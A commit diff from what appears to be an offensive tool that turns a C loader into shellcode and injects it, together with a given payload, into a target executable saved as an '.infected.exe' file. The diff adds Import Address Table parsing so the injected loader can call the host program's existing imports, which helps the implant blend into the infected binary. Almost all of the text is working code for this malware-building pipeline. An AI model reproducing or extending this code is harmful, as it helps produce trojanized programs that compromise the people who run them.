refactor: phase 1 of IAT support

pehelper.py

@@ -0,0 +1,61 @@
+import sys
+import pefile
+
+
+def extract_iat(pe):
+    iat = {}
+
+    # If the PE file was loaded using the fast_load=True argument, we will need to parse the data directories:
+    #pe.parse_data_directories()
+
+    # Retrieve the IAT entries from the PE file
+    for entry in pe.DIRECTORY_ENTRY_IMPORT:
+        for imp in entry.imports:
+            dll_name = entry.dll.decode('utf-8')
+            imp_name = imp.name.decode('utf-8')
+            imp_addr = imp.address
+
+            #print("{}  {} - 0x{:08X}".format(
+            #    dll_name,
+            #    imp_name,
+            #    imp_addr
+            #))
+
+            if not dll_name in iat:
+                 iat[dll_name] = []
+
+            iat[dll_name].append({
+                 "dll_name": dll_name,
+                 "func_name": imp_name,
+                 "func_addr": imp_addr
+            })
+    
+    return iat
+
+
+def get_addr_for(iat, func_name):
+    for dll_name in iat:
+        for entry in iat[dll_name]:
+            if entry["func_name"] == func_name:
+                return entry["func_addr"]
+    return None
+
+
+def resolve_iat_capabilities(needed_capabilities, inject_exe):
+    pe = pefile.PE(inject_exe)
+    iat = extract_iat(pe) 
+
+    print("IAT: ")
+    for cap in needed_capabilities:
+         needed_capabilities[cap] = get_addr_for(iat, cap)
+         print("  {}: {}".format(cap, needed_capabilities[cap]))
+         
+
+
+def main():
+        pe = pefile.PE(sys.argv[1])
+        iat = extract_iat(pe)
+
+
+if __name__ == "__main__":
+    main()

phases/ctoasm.py

@@ -2,7 +2,7 @@ from helper import *
 from config import config
 
 
-def make_c_to_asm(c_file, asm_file, payload_len):
+def make_c_to_asm(c_file, asm_file, payload_len, exe_capabilities):
     print("--[ C to ASM: {} -> {} ]".format(c_file, asm_file))
 
     asm = {
@@ -43,7 +43,7 @@ def make_c_to_asm(c_file, asm_file, payload_len):
 
     # Phase 2: Assembly fixup
     print("---[ Fixup  : {} ]".format(asm_file))
-    if not fixup_asm_file(asm_file, payload_len):
+    if not fixup_asm_file(asm_file, payload_len, exe_capabilities):
         print("Error: Fixup failed")
         return
     else:
@@ -52,10 +52,34 @@ def make_c_to_asm(c_file, asm_file, payload_len):
     return asm
 
 
-def fixup_asm_file(filename, payload_len):
+def fixup_asm_file(filename, payload_len, exe_capabilities):
     with open(filename, 'r') as asmfile:
         lines = asmfile.readlines()
 
+    # do IAT reuse
+    for idx, line in enumerate(lines):
+        # Remove definition: 
+        #   EXTRN	__imp_MessageBoxW:PROC
+        if "EXTRN	__imp_" in lines[idx]:
+            lines[idx] = "; " + lines[idx]
+            continue
+
+        # Fix call
+        if "call" in lines[idx] and "__imp_" in lines[idx]:
+            func_name = lines[idx][lines[idx].find("__imp_")+6:].rstrip()
+            print("    > Replace func name: {}".format(func_name))
+
+            if func_name not in exe_capabilities or exe_capabilities[func_name] == None:
+                print("Capabilities not: {}".format(func_name))
+            else:
+                func_addr = exe_capabilities[func_name]
+                lines[idx] = "\tcall  rax\r\n"
+                lines.insert(idx, "\tmov rax, [rax]\r\n")
+                lines.insert(idx, "\tmov rax, {:X}H\r\n".format(func_addr))
+
+            #print("    > Replace__imp_MessageBoxW at line: {}".format(idx))
+            #lines[idx] = lines[idx].replace("__imp_MessageBoxW", "ds:[0x123]")
+        
     # replace external reference with shellcode reference
     for idx, line in enumerate(lines): 
         if "dobin" in lines[idx]:

supermega.py

@@ -4,6 +4,7 @@ from helper import *
 import argparse
 
 from config import config
+from pehelper import *
 from phases.ctoasm import *
 from phases.asmtoshc import *
 from phases.shctoexe import *
@@ -47,12 +48,12 @@ options_default = {
     "try_start_final_infected_exe": True, # with payload (should work)
 
     # cleanup
-    "cleanup_files_on_start": True,
-    "cleanup_files_on_exit": True,
+    "cleanup_files_on_start": False,
+    "cleanup_files_on_exit": False,
 
     # For debugging: Can disable some steps
-    "generate_asm_from_c": True,    # phase 2
-    "generate_shc_from_asm": True,  # phase 3
+    "generate_asm_from_c": True,  
+    "generate_shc_from_asm": True, 
 
     # Not working atm
     "obfuscate_shc_loader": False,
@@ -146,32 +147,46 @@ def main():
             options["inject_exe"] = True
             options["inject_exe_in"] = args.inject
             options["inject_exe_out"] = args.inject.replace(".exe", ".infected.exe")
+    start(options)
 
 
+def start(options):
+    # Delete: all old files
     if options["cleanup_files_on_start"]:
         clean_files()
 
+    # Copy: loader C files into working directory: build/
     shutil.copy("source/main.c", "build/main.c")
     shutil.copy("source/peb_lookup.h", "build/peb_lookup.h")
 
+    # Check: Destination EXE capabilities
+    exe_capabilities = {
+        "MessageBoxW": None,
+    }
+    resolve_iat_capabilities(exe_capabilities, options["inject_exe_in"])
+
+    # Convert: C -> ASM
     if options["generate_asm_from_c"]:
+        # Find payload size
         with open(options["payload"], 'rb') as input2:
             data_payload = input2.read()
-            l = len(data_payload)
+            payload_length = len(data_payload)
             debug_data["payload_shellcode"] = data_payload
-        asm = make_c_to_asm(main_c_file, main_asm_file, l)
+        asm = make_c_to_asm(main_c_file, main_asm_file, payload_length, exe_capabilities)
         debug_data["asm_initial"] = asm["initial"]
         debug_data["asm_cleanup"] = asm["cleanup"]
         debug_data["asm_fixup"] = asm["fixup"]
 
-    if options["generate_asm_from_c"]:
+    # Convert: ASM -> Shellcode
+    if options["generate_shc_from_asm"]:
         code = make_shc_from_asm(main_asm_file, main_exe_file, main_shc_file)
         debug_data["loader_shellcode"] = code
     
+    # Try: Starting the shellcode (rarely useful)
     if options["try_start_loader_shellcode"]:
         try_start_shellcode(main_shc_file)
 
-    # SGN seems buggy atm
+    # SGN 
     #if options["obfuscate_shc_loader"]:
     #    obfuscate_shc_loader("main-clean.bin", "main-clean.bin")
     #